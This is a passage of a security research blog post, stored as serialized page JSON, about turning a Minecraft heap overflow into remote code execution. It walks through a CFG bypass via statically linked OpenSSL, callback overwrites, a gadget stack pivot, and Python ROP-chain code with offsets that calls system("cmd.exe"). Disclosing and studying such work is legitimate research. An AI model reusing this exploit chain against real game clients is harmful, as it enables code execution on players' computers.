",{"type":23,"tag":56,"props":154194,"children":154196},{"className":154195},[],[154197],{"type":28,"value":154198},"mov",{"type":28,"value":154200}," loads the object's ",{"type":23,"tag":56,"props":154202,"children":154204},{"className":154203},[],[154205],{"type":28,"value":153690},{"type":28,"value":154207}," into ",{"type":23,"tag":56,"props":154209,"children":154211},{"className":154210},[],[154212],{"type":28,"value":55753},{"type":28,"value":154214},", and the function pointer at ",{"type":23,"tag":56,"props":154216,"children":154218},{"className":154217},[],[154219],{"type":28,"value":154220},"rax + 0x8",{"type":28,"value":154222}," is read into ",{"type":23,"tag":56,"props":154224,"children":154226},{"className":154225},[],[154227],{"type":28,"value":55753},{"type":28,"value":154229},". Finally, ",{"type":23,"tag":56,"props":154231,"children":154233},{"className":154232},[],[154234],{"type":28,"value":154235},"__guard_dispatch_icall_fptr",{"type":28,"value":154237}," is called - this is the CFG dispatch function that validates ",{"type":23,"tag":56,"props":154239,"children":154241},{"className":154240},[],[154242],{"type":28,"value":55753},{"type":28,"value":154244}," as a legal call target before invoking it.",{"type":23,"tag":24,"props":154246,"children":154247},{},[154248],{"type":28,"value":154249},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":23,"tag":24,"props":154251,"children":154252},{},[154253],{"type":23,"tag":126,"props":154254,"children":154256},{"alt":128,"src":154255},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":23,"tag":24,"props":154258,"children":154259},{},[154260,154262,154268,154270,154276],{"type":28,"value":154261},"Here, the function pointer at ",{"type":23,"tag":56,"props":154263,"children":154265},{"className":154264},[],[154266],{"type":28,"value":154267},"vtable + 0x10",{"type":28,"value":154269}," is loaded into ",{"type":23,"tag":56,"props":154271,"children":154273},{"className":154272},[],[154274],{"type":28,"value":154275},"rdx",{"type":28,"value":154277}," and then called directly.",{"type":23,"tag":24,"props":154279,"children":154280},{},[154281],{"type":28,"value":154282},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":23,"tag":24,"props":154284,"children":154285},{},[154286,154288,154293],{"type":28,"value":154287},"So the remaining task is to locate OpenSSL function or ",{"type":23,"tag":56,"props":154289,"children":154291},{"className":154290},[],[154292],{"type":28,"value":153690},{"type":28,"value":154294}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":23,"tag":17874,"props":154296,"children":154298},{"id":154297},"locating-overwrite-targets",[154299],{"type":28,"value":154300},"Locating Overwrite Targets",{"type":23,"tag":24,"props":154302,"children":154303},{},[154304,154306,154312,154313,154318,154320,154325,154327,154333],{"type":28,"value":154305},"One of the first targets we identified were the ",{"type":23,"tag":56,"props":154307,"children":154309},{"className":154308},[],[154310],{"type":28,"value":154311},"malloc",{"type":28,"value":430},{"type":23,"tag":56,"props":154314,"children":154316},{"className":154315},[],[154317],{"type":28,"value":148923},{"type":28,"value":154319}," callbacks. These reside in the ",{"type":23,"tag":56,"props":154321,"children":154323},{"className":154322},[],[154324],{"type":28,"value":154160},{"type":28,"value":154326}," section and are invoked whenever they don’t match the expected ",{"type":23,"tag":56,"props":154328,"children":154330},{"className":154329},[],[154331],{"type":28,"value":154332},"OPENSSL_malloc/free",{"type":28,"value":130781},{"type":23,"tag":24,"props":154335,"children":154336},{},[154337],{"type":23,"tag":126,"props":154338,"children":154340},{"alt":128,"src":154339},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":23,"tag":24,"props":154342,"children":154343},{},[154344],{"type":28,"value":154345},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":23,"tag":24,"props":154347,"children":154348},{},[154349,154351,154357,154359,154365,154367,154372],{"type":28,"value":154350},"Later, we found another promising function: ",{"type":23,"tag":56,"props":154352,"children":154354},{"className":154353},[],[154355],{"type":28,"value":154356},"ossl_ec_key_new_method_int",{"type":28,"value":154358},". This function creates and initializes an ",{"type":23,"tag":56,"props":154360,"children":154362},{"className":154361},[],[154363],{"type":28,"value":154364},"EC_KEY",{"type":28,"value":154366}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":23,"tag":56,"props":154368,"children":154370},{"className":154369},[],[154371],{"type":28,"value":154160},{"type":28,"value":154373},") containing function pointers:",{"type":23,"tag":24,"props":154375,"children":154376},{},[154377],{"type":23,"tag":126,"props":154378,"children":154380},{"alt":128,"src":154379},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":23,"tag":24,"props":154382,"children":154383},{},[154384,154386,154392,154393,154399,154401,154406,154408,154414,154416,154421,154423,154428,154430,154435],{"type":28,"value":154385},"In the image above, ",{"type":23,"tag":56,"props":154387,"children":154389},{"className":154388},[],[154390],{"type":28,"value":154391},"ret->meth",{"type":28,"value":124245},{"type":23,"tag":56,"props":154394,"children":154396},{"className":154395},[],[154397],{"type":28,"value":154398},"default_ec_key_meth",{"type":28,"value":154400},", which points to a structure of function pointers located in ",{"type":23,"tag":56,"props":154402,"children":154404},{"className":154403},[],[154405],{"type":28,"value":154160},{"type":28,"value":154407},". It then calls ",{"type":23,"tag":56,"props":154409,"children":154411},{"className":154410},[],[154412],{"type":28,"value":154413},"ret->meth->init",{"type":28,"value":154415},", passing the ",{"type":23,"tag":56,"props":154417,"children":154419},{"className":154418},[],[154420],{"type":28,"value":16673},{"type":28,"value":154422}," pointer (",{"type":23,"tag":56,"props":154424,"children":154426},{"className":154425},[],[154427],{"type":28,"value":9972},{"type":28,"value":154429},"). This alone isn’t especially useful because ",{"type":23,"tag":56,"props":154431,"children":154433},{"className":154432},[],[154434],{"type":28,"value":9972},{"type":28,"value":154436}," is heap-allocated.",{"type":23,"tag":24,"props":154438,"children":154439},{},[154440,154442,154447],{"type":28,"value":154441},"But, if we look at how ",{"type":23,"tag":56,"props":154443,"children":154445},{"className":154444},[],[154446],{"type":28,"value":154413},{"type":28,"value":154448}," is invoked in the disassembly:",{"type":23,"tag":24,"props":154450,"children":154451},{},[154452],{"type":23,"tag":126,"props":154453,"children":154455},{"alt":128,"src":154454},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":23,"tag":24,"props":154457,"children":154458},{},[154459,154460,154465,154467,154472,154474,154479,154481,154486,154488,154493,154495,154500,154502,154507,154509,154515],{"type":28,"value":6463},{"type":23,"tag":56,"props":154461,"children":154463},{"className":154462},[],[154464],{"type":28,"value":154413},{"type":28,"value":154466}," is not ",{"type":23,"tag":56,"props":154468,"children":154470},{"className":154469},[],[154471],{"type":28,"value":53474},{"type":28,"value":154473},", it is called while ",{"type":23,"tag":56,"props":154475,"children":154477},{"className":154476},[],[154478],{"type":28,"value":55753},{"type":28,"value":154480}," still contains the value of ",{"type":23,"tag":56,"props":154482,"children":154484},{"className":154483},[],[154485],{"type":28,"value":154391},{"type":28,"value":154487}," - that is, a pointer to the structure in ",{"type":23,"tag":56,"props":154489,"children":154491},{"className":154490},[],[154492],{"type":28,"value":154160},{"type":28,"value":154494}," that we control. This is ideal, because we can overwrite ",{"type":23,"tag":56,"props":154496,"children":154498},{"className":154497},[],[154499],{"type":28,"value":154398},{"type":28,"value":154501}," with a pointer to a region in ",{"type":23,"tag":56,"props":154503,"children":154505},{"className":154504},[],[154506],{"type":28,"value":154160},{"type":28,"value":154508}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":23,"tag":56,"props":154510,"children":154512},{"className":154511},[],[154513],{"type":28,"value":154514},"mov rsp, rax; ret",{"type":28,"value":154516},"-style gadget.",{"type":23,"tag":24,"props":154518,"children":154519},{},[154520,154522,154527,154529,154534],{"type":28,"value":154521},"Although we discovered that ",{"type":23,"tag":56,"props":154523,"children":154525},{"className":154524},[],[154526],{"type":28,"value":154356},{"type":28,"value":154528}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":23,"tag":56,"props":154530,"children":154532},{"className":154531},[],[154533],{"type":28,"value":154332},{"type":28,"value":154535}," callbacks.",{"type":23,"tag":17874,"props":154537,"children":154539},{"id":154538},"stack-pivot",[154540],{"type":28,"value":154541},"Stack Pivot",{"type":23,"tag":24,"props":154543,"children":154544},{},[154545,154547,154552,154554,154559,154561,154566,154568,154574],{"type":28,"value":154546},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":23,"tag":56,"props":154548,"children":154550},{"className":154549},[],[154551],{"type":28,"value":154160},{"type":28,"value":154553},", overwrite ",{"type":23,"tag":56,"props":154555,"children":154557},{"className":154556},[],[154558],{"type":28,"value":154398},{"type":28,"value":154560}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":23,"tag":56,"props":154562,"children":154564},{"className":154563},[],[154565],{"type":28,"value":154356},{"type":28,"value":154567},". This ultimately calls ",{"type":23,"tag":56,"props":154569,"children":154571},{"className":154570},[],[154572],{"type":28,"value":154573},"default_ec_key_meth->init",{"type":28,"value":154575},", which executes the pivot and begins ROP execution.",{"type":23,"tag":24,"props":154577,"children":154578},{},[154579,154581,154587,154589,154595],{"type":28,"value":154580},"We chose to overwrite the ",{"type":23,"tag":56,"props":154582,"children":154584},{"className":154583},[],[154585],{"type":28,"value":154586},"OPENSSL_free",{"type":28,"value":154588}," callback. This produces only a minor memory leak, while overwriting ",{"type":23,"tag":56,"props":154590,"children":154592},{"className":154591},[],[154593],{"type":28,"value":154594},"OPENSSL_malloc",{"type":28,"value":154596}," would require our replacement function to return a writable, unused memory region.",{"type":23,"tag":24,"props":154598,"children":154599},{},[154600,154602,154608,154609,154615,154617,154622],{"type":28,"value":154601},"For the stack pivot, we found two useful gadgets: ",{"type":23,"tag":56,"props":154603,"children":154605},{"className":154604},[],[154606],{"type":28,"value":154607},"add rsp, 0x10; pop r14; ret",{"type":28,"value":430},{"type":23,"tag":56,"props":154610,"children":154612},{"className":154611},[],[154613],{"type":28,"value":154614},"xchg rsp, rax; ret",{"type":28,"value":154616},". The exploit writes them into ",{"type":23,"tag":56,"props":154618,"children":154620},{"className":154619},[],[154621],{"type":28,"value":154160},{"type":28,"value":154623}," like this:",{"type":23,"tag":494,"props":154625,"children":154627},{"code":154626},"      +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n      +-----------------------------+\n+0x08 | padding                     |\n      +-----------------------------+\n+0x10 | xchg rsp, rax; ret          |\n      +-----------------------------+\n+0x18 | padding (pop r14)           |\n      +-----------------------------+\n+0x20 | ROP Chain                   |\n      +-----------------------------+\n",[154628],{"type":23,"tag":56,"props":154629,"children":154630},{"__ignoreMap":7},[154631],{"type":28,"value":154626},{"type":23,"tag":24,"props":154633,"children":154634},{},[154635,154637,154642,154644,154649,154651,154656,154658,154663,154665,154670,154672,154677,154679,154684],{"type":28,"value":154636},"The second gadget, ",{"type":23,"tag":56,"props":154638,"children":154640},{"className":154639},[],[154641],{"type":28,"value":154614},{"type":28,"value":154643},", is placed in the slot corresponding to the ",{"type":23,"tag":56,"props":154645,"children":154647},{"className":154646},[],[154648],{"type":28,"value":19722},{"type":28,"value":154650}," function pointer. As mentioned earlier, when ",{"type":23,"tag":56,"props":154652,"children":154654},{"className":154653},[],[154655],{"type":28,"value":154413},{"type":28,"value":154657}," is called, ",{"type":23,"tag":56,"props":154659,"children":154661},{"className":154660},[],[154662],{"type":28,"value":55753},{"type":28,"value":154664}," contains a pointer to ",{"type":23,"tag":56,"props":154666,"children":154668},{"className":154667},[],[154669],{"type":28,"value":154398},{"type":28,"value":154671}," - which we have overwritten and now points to our ",{"type":23,"tag":56,"props":154673,"children":154675},{"className":154674},[],[154676],{"type":28,"value":154607},{"type":28,"value":154678}," gadget in ",{"type":23,"tag":56,"props":154680,"children":154682},{"className":154681},[],[154683],{"type":28,"value":154160},{"type":28,"value":320},{"type":23,"tag":24,"props":154686,"children":154687},{},[154688,154690,154696,154698,154703,154705,154711,154713,154718,154720,154725,154727,154732,154734,154739,154741,154746,154748,154753],{"type":28,"value":154689},"When the call occurs, ",{"type":23,"tag":56,"props":154691,"children":154693},{"className":154692},[],[154694],{"type":28,"value":154695},"xchg rsp, rax",{"type":28,"value":154697}," swaps the stack pointer with this controlled pointer inside ",{"type":23,"tag":56,"props":154699,"children":154701},{"className":154700},[],[154702],{"type":28,"value":154160},{"type":28,"value":154704},", effectively moving ",{"type":23,"tag":56,"props":154706,"children":154708},{"className":154707},[],[154709],{"type":28,"value":154710},"rsp",{"type":28,"value":154712}," into our ROP region. After the ",{"type":23,"tag":56,"props":154714,"children":154716},{"className":154715},[],[154717],{"type":28,"value":9972},{"type":28,"value":154719},", execution continues at ",{"type":23,"tag":56,"props":154721,"children":154723},{"className":154722},[],[154724],{"type":28,"value":154607},{"type":28,"value":154726},", which advances ",{"type":23,"tag":56,"props":154728,"children":154730},{"className":154729},[],[154731],{"type":28,"value":154710},{"type":28,"value":154733}," by ",{"type":23,"tag":56,"props":154735,"children":154737},{"className":154736},[],[154738],{"type":28,"value":43512},{"type":28,"value":154740}," bytes, skipping over the padding and the ",{"type":23,"tag":56,"props":154742,"children":154744},{"className":154743},[],[154745],{"type":28,"value":154614},{"type":28,"value":154747}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":23,"tag":56,"props":154749,"children":154751},{"className":154750},[],[154752],{"type":28,"value":154614},{"type":28,"value":154754},") begins executing.",{"type":23,"tag":82,"props":154756,"children":154758},{"id":154757},"rop-chain",[154759],{"type":28,"value":154760},"ROP Chain",{"type":23,"tag":24,"props":154762,"children":154763},{},[154764,154766,154772,154774,154779],{"type":28,"value":154765},"For the demo, the ROP chain simply calls ",{"type":23,"tag":56,"props":154767,"children":154769},{"className":154768},[],[154770],{"type":28,"value":154771},"system(\"cmd.exe\")",{"type":28,"value":154773},". Because Minecraft does not use ",{"type":23,"tag":56,"props":154775,"children":154777},{"className":154776},[],[154778],{"type":28,"value":130503},{"type":28,"value":154780},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":23,"tag":24,"props":154782,"children":154783},{},[154784,154786,154792,154794,154800,154802,154807,154809,154815,154817,154822],{"type":28,"value":154785},"This is straightforward: the chain first calls ",{"type":23,"tag":56,"props":154787,"children":154789},{"className":154788},[],[154790],{"type":28,"value":154791},"GetModuleHandle(\"ucrtbase.dll\")",{"type":28,"value":154793}," to obtain the base address of ",{"type":23,"tag":56,"props":154795,"children":154797},{"className":154796},[],[154798],{"type":28,"value":154799},"ucrtbase.dll",{"type":28,"value":154801}," (which exports ",{"type":23,"tag":56,"props":154803,"children":154805},{"className":154804},[],[154806],{"type":28,"value":130503},{"type":28,"value":154808},"). It then calls ",{"type":23,"tag":56,"props":154810,"children":154812},{"className":154811},[],[154813],{"type":28,"value":154814},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":28,"value":154816}," to retrieve the function’s address. Finally, it invokes ",{"type":23,"tag":56,"props":154818,"children":154820},{"className":154819},[],[154821],{"type":28,"value":130503},{"type":28,"value":154823}," with the \"cmd.exe\" string.",{"type":23,"tag":24,"props":154825,"children":154826},{},[154827],{"type":28,"value":154828},"In the exploit script, the ROP chain looks something like this:",{"type":23,"tag":494,"props":154830,"children":154832},{"code":154831,"language":18442,"meta":7,"className":18443,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[154833],{"type":23,"tag":56,"props":154834,"children":154835},{"__ignoreMap":7},[154836,154844,154852,154877,154885,154893,154900,154908,154916,154943,154956,154969,154990,155019,155048,155055,155063,155076,155084,155120,155128,155135,155143,155150,155175,155186,155198],{"type":23,"tag":504,"props":154837,"children":154838},{"class":506,"line":507},[154839],{"type":23,"tag":504,"props":154840,"children":154841},{"style":1106},[154842],{"type":28,"value":154843},"# get the address of `GetModuleHandle` to `rax`\n",{"type":23,"tag":504,"props":154845,"children":154846},{"class":506,"line":540},[154847],{"type":23,"tag":504,"props":154848,"children":154849},{"style":523},[154850],{"type":28,"value":154851},"rop.gadget(pop_r8)\n",{"type":23,"tag":504,"props":154853,"children":154854},{"class":506,"line":555},[154855,154860,154864,154869,154873],{"type":23,"tag":504,"props":154856,"children":154857},{"style":523},[154858],{"type":28,"value":154859},"rop.gadget(addr_get_module_handle_a ",{"type":23,"tag":504,"props":154861,"children":154862},{"style":598},[154863],{"type":28,"value":3308},{"type":23,"tag":504,"props":154865,"children":154866},{"style":511},[154867],{"type":28,"value":154868}," 0x",{"type":23,"tag":504,"props":154870,"children":154871},{"style":1440},[154872],{"type":28,"value":133620},{"type":23,"tag":504,"props":154874,"children":154875},{"style":523},[154876],{"type":28,"value":1192},{"type":23,"tag":504,"props":154878,"children":154879},{"class":506,"line":633},[154880],{"type":23,"tag":504,"props":154881,"children":154882},{"style":1106},[154883],{"type":28,"value":154884},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":23,"tag":504,"props":154886,"children":154887},{"class":506,"line":687},[154888],{"type":23,"tag":504,"props":154889,"children":154890},{"style":523},[154891],{"type":28,"value":154892},"rop.gadget(mov_rax_r8_28)\n",{"type":23,"tag":504,"props":154894,"children":154895},{"class":506,"line":736},[154896],{"type":23,"tag":504,"props":154897,"children":154898},{"emptyLinePlaceholder":16},[154899],{"type":28,"value":1038},{"type":23,"tag":504,"props":154901,"children":154902},{"class":506,"line":785},[154903],{"type":23,"tag":504,"props":154904,"children":154905},{"style":1106},[154906],{"type":28,"value":154907},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":23,"tag":504,"props":154909,"children":154910},{"class":506,"line":813},[154911],{"type":23,"tag":504,"props":154912,"children":154913},{"style":523},[154914],{"type":28,"value":154915},"rop.gadget(pop_rcx)\n",{"type":23,"tag":504,"props":154917,"children":154918},{"class":506,"line":851},[154919,154924,154929,154934,154938],{"type":23,"tag":504,"props":154920,"children":154921},{"style":523},[154922],{"type":28,"value":154923},"rop.gadget(",{"type":23,"tag":504,"props":154925,"children":154926},{"style":511},[154927],{"type":28,"value":154928},"0x",{"type":23,"tag":504,"props":154930,"children":154931},{"style":1440},[154932],{"type":28,"value":154933},"7468B68",{"type":23,"tag":504,"props":154935,"children":154936},{"style":523},[154937],{"type":28,"value":2064},{"type":23,"tag":504,"props":154939,"children":154940},{"style":1106},[154941],{"type":28,"value":154942},"# offset of \"ucrtbase.dll\" string\n",{"type":23,"tag":504,"props":154944,"children":154945},{"class":506,"line":869},[154946,154951],{"type":23,"tag":504,"props":154947,"children":154948},{"style":523},[154949],{"type":28,"value":154950},"rop.gadget(ret) ",{"type":23,"tag":504,"props":154952,"children":154953},{"style":1106},[154954],{"type":28,"value":154955},"# movaps alignment\n",{"type":23,"tag":504,"props":154957,"children":154958},{"class":506,"line":878},[154959,154964],{"type":23,"tag":504,"props":154960,"children":154961},{"style":523},[154962],{"type":28,"value":154963},"rop.gadget(push_rax_ret) ",{"type":23,"tag":504,"props":154965,"children":154966},{"style":1106},[154967],{"type":28,"value":154968},"# calls `GetModuleHandle`\n",{"type":23,"tag":504,"props":154970,"children":154971},{"class":506,"line":1221},[154972,154977,154981,154986],{"type":23,"tag":504,"props":154973,"children":154974},{"style":523},[154975],{"type":28,"value":154976},"rop.literal(u64(",{"type":23,"tag":504,"props":154978,"children":154979},{"style":511},[154980],{"type":28,"value":2200},{"type":23,"tag":504,"props":154982,"children":154983},{"style":622},[154984],{"type":28,"value":154985},"\"ucrtbase\"",{"type":23,"tag":504,"props":154987,"children":154988},{"style":523},[154989],{"type":28,"value":18694},{"type":23,"tag":504,"props":154991,"children":154992},{"class":506,"line":1276},[154993,154997,155001,155006,155011,155015],{"type":23,"tag":504,"props":154994,"children":154995},{"style":523},[154996],{"type":28,"value":154976},{"type":23,"tag":504,"props":154998,"children":154999},{"style":511},[155000],{"type":28,"value":2200},{"type":23,"tag":504,"props":155002,"children":155003},{"style":622},[155004],{"type":28,"value":155005},"\".dll",{"type":23,"tag":504,"props":155007,"children":155008},{"style":47353},[155009],{"type":28,"value":155010},"\\x00\\x00\\x00\\x00",{"type":23,"tag":504,"props":155012,"children":155013},{"style":622},[155014],{"type":28,"value":1268},{"type":23,"tag":504,"props":155016,"children":155017},{"style":523},[155018],{"type":28,"value":18694},{"type":23,"tag":504,"props":155020,"children":155021},{"class":506,"line":1285},[155022,155026,155030,155035,155040,155044],{"type":23,"tag":504,"props":155023,"children":155024},{"style":523},[155025],{"type":28,"value":154976},{"type":23,"tag":504,"props":155027,"children":155028},{"style":511},[155029],{"type":28,"value":2200},{"type":23,"tag":504,"props":155031,"children":155032},{"style":622},[155033],{"type":28,"value":155034},"\"system",{"type":23,"tag":504,"props":155036,"children":155037},{"style":47353},[155038],{"type":28,"value":155039},"\\x00\\x00",{"type":23,"tag":504,"props":155041,"children":155042},{"style":622},[155043],{"type":28,"value":1268},{"type":23,"tag":504,"props":155045,"children":155046},{"style":523},[155047],{"type":28,"value":18694},{"type":23,"tag":504,"props":155049,"children":155050},{"class":506,"line":1294},[155051],{"type":23,"tag":504,"props":155052,"children":155053},{"emptyLinePlaceholder":16},[155054],{"type":28,"value":1038},{"type":23,"tag":504,"props":155056,"children":155057},{"class":506,"line":1302},[155058],{"type":23,"tag":504,"props":155059,"children":155060},{"style":1106},[155061],{"type":28,"value":155062},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":23,"tag":504,"props":155064,"children":155065},{"class":506,"line":1311},[155066,155071],{"type":23,"tag":504,"props":155067,"children":155068},{"style":523},[155069],{"type":28,"value":155070},"rop.gadget(xchg_rcx_rax) ",{"type":23,"tag":504,"props":155072,"children":155073},{"style":1106},[155074],{"type":28,"value":155075},"# move the return value of `GetModuleHandle` to rcx\n",{"type":23,"tag":504,"props":155077,"children":155078},{"class":506,"line":1334},[155079],{"type":23,"tag":504,"props":155080,"children":155081},{"style":523},[155082],{"type":28,"value":155083},"rop.gadget(pop_rdx)\n",{"type":23,"tag":504,"props":155085,"children":155086},{"class":506,"line":1370},[155087,155091,155095,155099,155103,155107,155111,155115],{"type":23,"tag":504,"props":155088,"children":155089},{"style":523},[155090],{"type":28,"value":154923},{"type":23,"tag":504,"props":155092,"children":155093},{"style":511},[155094],{"type":28,"value":154928},{"type":23,"tag":504,"props":155096,"children":155097},{"style":1440},[155098],{"type":28,"value":154933},{"type":23,"tag":504,"props":155100,"children":155101},{"style":598},[155102],{"type":28,"value":7888},{"type":23,"tag":504,"props":155104,"children":155105},{"style":511},[155106],{"type":28,"value":154868},{"type":23,"tag":504,"props":155108,"children":155109},{"style":1440},[155110],{"type":28,"value":88004},{"type":23,"tag":504,"props":155112,"children":155113},{"style":523},[155114],{"type":28,"value":2064},{"type":23,"tag":504,"props":155116,"children":155117},{"style":1106},[155118],{"type":28,"value":155119},"# offset of \"system\" string\n",{"type":23,"tag":504,"props":155121,"children":155122},{"class":506,"line":1384},[155123],{"type":23,"tag":504,"props":155124,"children":155125},{"style":523},[155126],{"type":28,"value":155127},"rop.gadget(get_proc_addr)\n",{"type":23,"tag":504,"props":155129,"children":155130},{"class":506,"line":1392},[155131],{"type":23,"tag":504,"props":155132,"children":155133},{"emptyLinePlaceholder":16},[155134],{"type":28,"value":1038},{"type":23,"tag":504,"props":155136,"children":155137},{"class":506,"line":1400},[155138],{"type":23,"tag":504,"props":155139,"children":155140},{"style":1106},[155141],{"type":28,"value":155142},"# call `system(\"cmd.exe\")`\n",{"type":23,"tag":504,"props":155144,"children":155145},{"class":506,"line":1422},[155146],{"type":23,"tag":504,"props":155147,"children":155148},{"style":523},[155149],{"type":28,"value":154915},{"type":23,"tag":504,"props":155151,"children":155152},{"class":506,"line":1450},[155153,155157,155161,155166,155170],{"type":23,"tag":504,"props":155154,"children":155155},{"style":523},[155156],{"type":28,"value":154923},{"type":23,"tag":504,"props":155158,"children":155159},{"style":511},[155160],{"type":28,"value":154928},{"type":23,"tag":504,"props":155162,"children":155163},{"style":1440},[155164],{"type":28,"value":155165},"7468DB8",{"type":23,"tag":504,"props":155167,"children":155168},{"style":523},[155169],{"type":28,"value":2064},{"type":23,"tag":504,"props":155171,"children":155172},{"style":1106},[155173],{"type":28,"value":155174},"# offset of \"cmd.exe\" string\n",{"type":23,"tag":504,"props":155176,"children":155177},{"class":506,"line":1463},[155178,155182],{"type":23,"tag":504,"props":155179,"children":155180},{"style":523},[155181],{"type":28,"value":154950},{"type":23,"tag":504,"props":155183,"children":155184},{"style":1106},[155185],{"type":28,"value":154955},{"type":23,"tag":504,"props":155187,"children":155188},{"class":506,"line":1485},[155189,155193],{"type":23,"tag":504,"props":155190,"children":155191},{"style":523},[155192],{"type":28,"value":154963},{"type":23,"tag":504,"props":155194,"children":155195},{"style":1106},[155196],{"type":28,"value":155197},"# calls `system`\n",{"type":23,"tag":504,"props":155199,"children":155200},{"class":506,"line":1503},[155201,155205,155209,155214,155219,155223],{"type":23,"tag":504,"props":155202,"children":155203},{"style":523},[155204],{"type":28,"value":154976},{"type":23,"tag":504,"props":155206,"children":155207},{"style":511},[155208],{"type":28,"value":2200},{"type":23,"tag":504,"props":155210,"children":155211},{"style":622},[155212],{"type":28,"value":155213},"\"cmd.exe",{"type":23,"tag":504,"props":155215,"children":155216},{"style":47353},[155217],{"type":28,"value":155218},"\\x00",{"type":23,"tag":504,"props":155220,"children":155221},{"style":622},[155222],{"type":28,"value":1268},{"type":23,"tag":504,"props":155224,"children":155225},{"style":523},[155226],{"type":28,"value":18694},{"type":23,"tag":82,"props":155228,"children":155230},{"id":155229},"demo",[155231],{"type":28,"value":155232},"Demo",{"type":23,"tag":24,"props":155234,"children":155235},{},[155236],{"type":28,"value":155237},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":23,"tag":130609,"props":155239,"children":155242},{"className":155240,"controls":16},[140576,155241],"blog-video-wide",[155243,155244,155248],{"type":28,"value":140579},{"type":23,"tag":139815,"props":155245,"children":155247},{"src":155246,"type":130607},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":28,"value":140585},{"type":23,"tag":70,"props":155250,"children":155251},{"id":1800},[155252],{"type":28,"value":1803},{"type":23,"tag":24,"props":155254,"children":155255},{},[155256],{"type":28,"value":155257},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":23,"tag":24,"props":155259,"children":155260},{},[155261],{"type":28,"value":155262},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":23,"tag":24,"props":155264,"children":155265},{},[155266],{"type":28,"value":155267},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":23,"tag":1815,"props":155269,"children":155270},{},[155271],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":155273},[155274,155278,155283,155294],{"id":145934,"depth":540,"text":145937,"children":155275},[155276,155277],{"id":145969,"depth":555,"text":145972},{"id":145985,"depth":555,"text":145988},{"id":146006,"depth":540,"text":146009,"children":155279},[155280,155281,155282],{"id":146022,"depth":555,"text":146025},{"id":146110,"depth":555,"text":146113},{"id":148410,"depth":555,"text":148413},{"id":4401,"depth":540,"text":4404,"children":155284},[155285,155286,155287,155288,155289,155290,155291,155292,155293],{"id":148517,"depth":555,"text":148520},{"id":148542,"depth":555,"text":148545},{"id":148679,"depth":555,"text":148682},{"id":150843,"depth":555,"text":150846},{"id":151205,"depth":555,"text":151208},{"id":152025,"depth":555,"text":152028},{"id":154139,"depth":555,"text":154142},{"id":154757,"depth":555,"text":154760},{"id":155229,"depth":555,"text":155232},{"id":1800,"depth":540,"text":1803},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":155299,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":155300,"description":155301,"date":155302,"author":155303,"image":155305,"isFeatured":16,"onBlogPage":16,"tags":155307,"body":155309,"_type":1838,"_id":157632,"_source":1840,"_file":157633,"_stem":157634,"_extension":1843},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without 